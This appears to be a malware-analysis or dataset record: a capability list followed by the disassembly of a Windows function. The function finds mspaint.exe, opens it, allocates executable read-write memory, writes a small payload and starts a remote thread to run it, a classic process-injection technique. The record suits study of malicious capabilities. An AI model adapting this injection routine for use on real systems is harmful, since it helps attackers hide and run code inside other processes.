Function at 0x140001a00
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Execute command
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x60
mov edx, dword [0x140006964]
call fcn.140001900
mov edx, dword [0x140006960]
call fcn.140001900
mov edx, dword [0x14000696c]
mov rbx, rax
call fcn.140001900
mov edx, dword [0x14000695c]
call fcn.140001900
mov edx, dword [0x140006958]
call fcn.140001900
mov edx, dword [0x140006968]
call fcn.140001900
xor edx, edx
mov dword [0x140006710], 0x238
mov rbp, rax
lea ecx, [rdx + 2]
call rbx
lea rdx, [0x140006710]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
xor r14d, r14d
lea rdi, [0x14000673c]
lea rsi, str.mspaint.exe
nop
mov rax, r14
movzx ecx, word [rdi + rax*2]
cmp cx, word [rsi + rax*2]
jne 0x140001b19
movzx ecx, word [rdi + rax*2 + 2]
cmp cx, word [rsi + rax*2 + 2]
jne 0x140001b19
add rax, 2
cmp rax, 0xc
jne 0x140001a93
mov r8d, dword [0x140006718]
lea rdx, [0x1400033f8]
lea rcx, str._s_Trying_to_open_a_handle_to_process___ld__n
mov dword [0x140006954], r8d
call fcn.1400012b0
mov r8d, dword [0x140006954]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x140006948], rax
test rax, rax
jne 0x140001b6b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, dword [0x140006954]
lea rdx, [0x1400033f8]
mov r9d, eax
lea rcx, str._s_Can_not_get_a_handle_to_the_process___ld___error:__ld_n
call fcn.1400012b0
jmp 0x140001b44
lea rdx, [0x140006710]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001a90
lea rdx, [0x1400033f8]
lea rcx, str._s_Usage:_program.exe__PID__n
call fcn.1400012b0
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, 1
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
mov r8, rax
lea rdx, [0x1400033f8]
lea rcx, str._s_Got_a_handle_to_the_process__n___0x_p_n
call fcn.1400012b0
cmp qword [0x140006068], 0x10
lea rsi, [0x140006050]
mov rdi, qword [0x140006060]
movabs rbx, 0x7fffffffffffffff
cmovae rsi, qword [0x140006050]
xorps xmm0, xmm0
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r14
movups xmmword [rsp + 0x40], xmm0
cmp rdi, rbx
ja 0x140001e0e
mov qword [rsp + 0x58], 0xf
cmp rdi, 0x10
jae 0x140001be5
mov qword [rsp + 0x50], rdi
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x40], xmm0
jmp 0x140001c7c
mov rax, rdi
or rax, 0xf
cmp rax, rbx
jbe 0x140001c1d
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140002010
mov rcx, rax
test rax, rax
je 0x140001c48
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140001c5e
mov ecx, 0x16
mov rbx, rax
cmp rax, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001c4f
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001e14
jmp 0x140001bff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140001c5b
call fcn.140002010
jmp 0x140001c5e
mov rax, r14
lea r8, [rdi + 1]
mov qword [rsp + 0x40], rax
mov rdx, rsi
mov qword [rsp + 0x50], rdi
mov rcx, rax
mov qword [rsp + 0x58], rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x40]
call fcn.1400014d0
movzx ecx, byte [0x140006048]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov rbx, rax
mov byte [rax], cl
mov rcx, qword [0x140006948]
lea r8d, [rdx + 8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r8d, 8
lea rdx, [0x1400033f8]
lea rcx, str._s_Allocated__zu_bytes_with_PAGE_EXECUTE_READWRITE_permissions_n
mov qword [0x140006708], rax
call fcn.1400012b0
mov rdx, qword [0x140006708]
mov r9d, 8
mov rcx, qword [0x140006948]
mov r8, rbx
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r8d, 8
lea rdx, [0x1400033f8]
lea rcx, str._s_Wrote__zu_bytes_to_process_memory_n
call fcn.1400012b0
mov r9, qword [0x140006708]
lea rax, [0x140006950]
mov rcx, qword [0x140006948]
xor r8d, r8d
mov qword [rsp + 0x38], rax
xor edx, edx
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
mov qword [0x140006700], rax
test rax, rax
jne 0x140001d7c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x1400033f8]
lea rcx, str._s_Can_not_get_a_handle_to_the_thread__error:__ld_n
call fcn.1400012b0
mov rcx, qword [0x140006948]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001b44
mov r8d, dword [0x140006950]
lea rdx, [0x1400033f8]
mov r9, rax
lea rcx, str._s_Got_a_handle_to_the_thread___ld__n___0x_p_n
call fcn.1400012b0
mov rcx, qword [0x140006700]
mov edx, 0xffffffff
call rbp
lea rdx, [0x1400033f8]
lea rcx, str._s_Thread_finished_executing_n
call fcn.1400012b0
lea rdx, [0x1400033f8]
lea rcx, str._s_Cleaning_up_n
call fcn.1400012b0
mov rcx, qword [0x140006700]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x140006948]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [0x1400033f8]
lea rcx, str._s_Finished__n
call fcn.1400012b0
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
jmp 0x140001b56
call fcn.1400014b0
int3
call fcn.140001410
int3